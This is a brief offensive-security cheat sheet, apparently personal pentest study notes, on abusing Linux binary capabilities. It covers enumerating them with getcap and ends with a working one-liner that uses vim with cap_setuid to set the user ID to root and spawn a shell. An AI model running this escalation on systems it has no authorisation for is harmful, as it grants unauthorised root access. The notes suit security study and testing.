Abusing Binary Capabilities
| Command | Description |
getcap | Tool to print enabled capabilities |
getcap -r / 2> /dev/null | Redirect error stream to /dev/null to suppress unauthenticated errors |
About
- Allows sysadmins to set granular permissions to allow a process or binary to perform privileged actions without needing to escalate to a higher privileged user
- Capabilities are not discoverable when enumerating for SUID bits
/path/to/vim = cap_setuid+ep example
/path/to/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'